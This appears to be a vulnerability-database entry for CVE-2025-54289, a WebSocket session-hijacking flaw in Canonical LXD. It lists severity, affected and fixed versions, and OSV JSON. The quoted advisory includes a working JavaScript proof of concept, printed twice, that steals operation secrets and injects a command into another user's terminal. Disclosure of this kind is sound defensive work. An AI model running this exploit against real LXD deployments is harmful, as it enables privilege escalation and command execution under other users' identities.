CVE-2025-54289: Github.com/canonical/lxd Canonical LXD Vulnerable To Privilege Vulnerability

HIGH
Advisory Identifier: GHSA-3g72-chj4-2228
CVSS 6.8
CWE-1385
Published
Advisory Summary

CVE-2025-54289 is a HIGH (CVSS 6.8) canonical lxd vulnerable to privilege vulnerability (CWE-1385: Missing Origin Validation in WebSockets) affecting Github.com/canonical/lxd libraries in the Go ecosystem. The issue involves canonical lxd vulnerable to privilege escalation via websocket connection hijacking in operations api. Remediation is available by upgrading affected packages to version 5.21.4, 6.5, 0.0.0-20250827065555-0494f5d47e41.

CVE-2025-54289 at a Glance

CVE Identifier CVE-2025-54289
GHSA Identifier GHSA-3g72-chj4-2228
Severity HIGH
CVSS v3.1 Base Score 6.8
CWE Classification CWE-1385: Missing Origin Validation in WebSockets
Affected Product Github.com/canonical/lxd
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 6.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2025-54289

To remediate this vulnerability, upgrade all affected Github.com/canonical/lxd dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/canonical/lxd fixed: 5.21.4
Upgrade github.com/canonical/lxd to 5.21.4
github.com/canonical/lxd fixed: 6.5
Upgrade github.com/canonical/lxd to 6.5
github.com/canonical/lxd fixed: 0.0.0-20250827065555-0494f5d47e41
Upgrade github.com/canonical/lxd to 0.0.0-20250827065555-0494f5d47e41
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/canonical/lxd

How to Check if You Are Affected

To determine whether your application is affected by CVE-2025-54289, inspect your project dependencies for Github.com/canonical/lxd:

inspect dependencies for github.com/canonical/lxd

Analyze the terminal output to locate any version of Github.com/canonical/lxd in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.21.4), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1385: Missing Origin Validation in WebSockets, where the product uses a websocket, but it does not properly verify that the source of data or communication is valid. In Github.com/canonical/lxd, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Impact LXD's operations API includes secret values necessary for WebSocket connections when retrieving information about running operations. These secret values are used for authentication of WebSocket connections for terminal and console sessions. Therefore, attackers with only read permissions can use secret values obtained from the operations API to hijack terminal or console sessions opened by other users. Through this hijacking, attackers can execute arbitrary commands inside instances with the victim's privileges. ### Reproduction Steps 1. Log in to LXD-UI using an account with read-only permissions 2. Open browser DevTools and execute the following JavaScript code Note that this JavaScript code uses the /1.0/events API to capture execution events for terminal startup, establishes a websocket connection with that secret, and sends touch /tmp/xxx to the data channel. ```js (async () => { class LXDEventsSession { constructor(callback) { this.wsBase = `wss://${window.location.host}/1.0/events?type=operation&all-p rojects=true`; this.eventsConn = new WebSocket(this.wsBase); this.eventsConn.onopen = (event) => { console.log('Events conn Opened'); }; this.eventsConn.onmessage = (event) => { callback(event); }; }} class LXDWebSocketSession { constructor(operationId, secrets) { this.operationId = operationId; this.secrets = secrets; this.wsBase = `wss://${window.location.host}/1.0/operations/${operationId}/w ebsocket`; this.connections = {}; this.connections.data = new WebSocket(`${this.wsBase}?secret=${this.secrets['0']}`); this.connections.data.onopen = (event) => { console.log('Data Opened'); this.connections.data.send(new TextEncoder().encode('touch /tmp/xxx\r')); } this.connections.data.onmessage = (event) => { console.log('[Data]', event.data); }; this.connections.control = new WebSocket(`${this.wsBase}?secret=${this.secrets.control}`); this.connections.control.onopen = (event) => { console.log('Control Opened'); } this.connections.control.onmessage = (event) => { console.log('[Control]', event.data); }; } close() { Object.values(this.connections).forEach(ws => { if (ws.readyState === WebSocket.OPEN) { ws.close(); } }); } } const sessions = []; new LXDEventsSession( (event) => { const op = JSON.parse(event.data); const opId = op.metadata.id;const secrets = op.metadata.metadata.fds; for(const session of sessions){ if(session.operationId === opId){ return; } } sessions.push(new LXDWebSocketSession(opId, secrets)) }); })(); ``` 5. Have another user (or yourself for testing) start a terminal or console session on an instance At this time, whoever uses the secret first gains session rights, so it's recommended to intentionally slow down communication speed using DevTools' bandwidth throttling feature for verification. 6. Refresh the attacker's browser tab to stop event listening 7. Have the victim reopen their terminal/console session and verify: ``` $ ls -la /tmp/xxx ``` ### Risk Attack conditions require that the attacker has read permissions for the project, the victim (a user with higher privileges) opens a terminal or console session, and the attacker hijacks the WebSocket connection at the appropriate timing. Therefore, while successful attacks result in privilege escalation, the attack timing is very critical, making the realistic risk of attack relatively low. ### Countermeasures As a fundamental countermeasure, it is recommended to exclude WebSocket connection secret information from operations API responses for read-only users. In the current implementation, the operations API returns all operation information (including secret values) regardless of permission level, which violates the principle of least privilege. Specifically, in lxd/operations.go, user permissions should be checked, and for users with read-only permissions, WebSocket-related secrets (fds field) should be excluded from operation metadata. This prevents attackers from obtaining secret values, making WebSocket connection hijacking impossible. ### Patches | LXD Series | Status | | ------------- | ------------- | | 6 | Fixed in LXD 6.5 | | 5.21 | Fixed in LXD 5.21.4 | | 5.0 | Ignored - Not critical | | 4.0 | Ignored - EOL and not critical | ### References Reported by GMO Flatt Security Inc.

CVE-2025-54289 Affected Github.com/canonical/lxd Versions

3 component(s)
Fixed Versions:
5.21.46.50.0.0-20250827065555-0494f5d47e41
Product / Package Ecosystem Affected Versions Fixed Version
github.com/canonical/lxd
Go
≥ 4.0
< 5.21.4
5.21.4
github.com/canonical/lxd
Go
≥ 6.0
< 6.5
6.5
github.com/canonical/lxd
Go
≥ 0.0.0-20200331193331-03aab09f5b5c
< 0.0.0-20250827065555-0494f5d47e41
0.0.0-20250827065555-0494f5d47e41

References

Frequently Asked Questions

What is CVE-2025-54289?
CVE-2025-54289 is a security vulnerability in Github.com/canonical/lxd involving Canonical LXD Vulnerable to Privilege Escalation via WebSocket Connection Hijacking in Operations API under CWE-1385: Missing Origin Validation in WebSockets.
Which Github.com/canonical/lxd versions are affected?
Affected versions include releases prior to 5.21.4, 6.5, 0.0.0-20250827065555-0494f5d47e41 across affected packages: github.com/canonical/lxd.
What version fixes CVE-2025-54289?
Upgrading to 5.21.4, 6.5, 0.0.0-20250827065555-0494f5d47e41 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/canonical/lxd affected?
Yes, github.com/canonical/lxd is affected in releases prior to 5.21.4, 6.5, 0.0.0-20250827065555-0494f5d47e41. Upgrade your dependency to 5.21.4, 6.5, 0.0.0-20250827065555-0494f5d47e41 or later.
What is the CVSS score of CVE-2025-54289?
CVE-2025-54289 has a CVSS v3.1 base score of 6.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2025-54289?
CVE-2025-54289 is classified under CWE-1385: Missing Origin Validation in WebSockets (The product uses a WebSocket, but it does not properly verify that the source of data or communication is valid.).
How can I check Go dependencies for CVE-2025-54289?
Run the dependency tree command: 'inspect dependencies for github.com/canonical/lxd'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3g72-chj4-2228",
  "modified" : "2025-11-05T22:04:18Z",
  "published" : "2025-10-02T21:19:29Z",
  "aliases" : [ "CVE-2025-54289" ],
  "summary" : "Canonical LXD Vulnerable to Privilege Escalation via WebSocket Connection Hijacking in Operations API",
  "details" : "### Impact\nLXD's operations API includes secret values necessary for WebSocket connections when retrieving information about running operations. These secret values are used for authentication of WebSocket connections for terminal and console sessions.\n\nTherefore, attackers with only read permissions can use secret values obtained from the operations API to hijack terminal or console sessions opened by other users. Through this hijacking, attackers can execute arbitrary commands inside instances with the victim's privileges.\n\n### Reproduction Steps\n\n1. Log in to LXD-UI using an account with read-only permissions\n2. Open browser DevTools and execute the following JavaScript code\n\nNote that this JavaScript code uses the /1.0/events API to capture execution events for terminal startup, establishes a websocket connection with that secret, and sends touch /tmp/xxx to the data channel.\n\n```js\n(async () => {\nclass LXDEventsSession {\nconstructor(callback) {\nthis.wsBase =\n`wss://${window.location.host}/1.0/events?type=operation&all-p\nrojects=true`;\nthis.eventsConn = new WebSocket(this.wsBase);\nthis.eventsConn.onopen = (event) => {\nconsole.log('Events conn Opened');\n};\nthis.eventsConn.onmessage = (event) => {\ncallback(event);\n};\n}}\nclass LXDWebSocketSession {\nconstructor(operationId, secrets) {\nthis.operationId = operationId;\nthis.secrets = secrets;\nthis.wsBase =\n`wss://${window.location.host}/1.0/operations/${operationId}/w\nebsocket`;\nthis.connections = {};\nthis.connections.data = new\nWebSocket(`${this.wsBase}?secret=${this.secrets['0']}`);\nthis.connections.data.onopen = (event) => {\nconsole.log('Data Opened');\nthis.connections.data.send(new\nTextEncoder().encode('touch /tmp/xxx\\r'));\n}\nthis.connections.data.onmessage = (event) => {\nconsole.log('[Data]', event.data);\n};\nthis.connections.control = new\nWebSocket(`${this.wsBase}?secret=${this.secrets.control}`);\nthis.connections.control.onopen = (event) => {\nconsole.log('Control Opened');\n}\nthis.connections.control.onmessage = (event) => {\nconsole.log('[Control]', event.data);\n};\n}\nclose() {\nObject.values(this.connections).forEach(ws => {\nif (ws.readyState === WebSocket.OPEN) {\nws.close();\n}\n});\n}\n}\nconst sessions = [];\nnew LXDEventsSession( (event) => {\nconst op = JSON.parse(event.data);\nconst opId = op.metadata.id;const secrets = op.metadata.metadata.fds;\nfor(const session of sessions){\nif(session.operationId === opId){\nreturn;\n}\n}\nsessions.push(new LXDWebSocketSession(opId, secrets))\n});\n})();\n```\n\n5. Have another user (or yourself for testing) start a terminal or console session on an instance\nAt this time, whoever uses the secret first gains session rights, so it's recommended to intentionally slow down communication speed using DevTools' bandwidth throttling feature for verification.\n6. Refresh the attacker's browser tab to stop event listening\n7. Have the victim reopen their terminal/console session and verify:\n\n```\n$ ls -la /tmp/xxx\n```\n\n### Risk\nAttack conditions require that the attacker has read permissions for the project, the victim (a user with higher privileges) opens a terminal or console session, and the attacker hijacks the WebSocket connection at the appropriate timing. Therefore, while successful attacks result in privilege escalation, the attack timing is very critical, making the realistic risk of attack relatively low.\n\n### Countermeasures\nAs a fundamental countermeasure, it is recommended to exclude WebSocket connection secret information from operations API responses for read-only users. In the current implementation, the operations API returns all operation information (including secret values) regardless of permission level, which violates the principle of least privilege.\n\nSpecifically, in lxd/operations.go, user permissions should be checked, and for users with read-only permissions, WebSocket-related secrets (fds field) should be excluded from operation metadata. This prevents attackers from obtaining secret values, making WebSocket connection hijacking impossible.\n\n### Patches\n\n| LXD Series  | Status |\n| ------------- | ------------- |\n| 6 | Fixed in LXD 6.5  |\n| 5.21 | Fixed in LXD 5.21.4  |\n| 5.0 | Ignored - Not critical |\n| 4.0  | Ignored - EOL and not critical |\n\n### References\nReported by GMO Flatt Security Inc.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/canonical/lxd"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.0"
      }, {
        "fixed" : "5.21.4"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/canonical/lxd"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "6.0"
      }, {
        "fixed" : "6.5"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/canonical/lxd"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.0.0-20200331193331-03aab09f5b5c"
      }, {
        "fixed" : "0.0.0-20250827065555-0494f5d47e41"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/canonical/lxd/security/advisories/GHSA-3g72-chj4-2228"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-54289"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/canonical/lxd"
  }, {
    "type" : "WEB",
    "url" : "https://pkg.go.dev/vuln/GO-2025-3999"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1385" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-10-02T21:19:29Z",
    "nvd_published_at" : "2025-10-02T10:15:39Z"
  }
}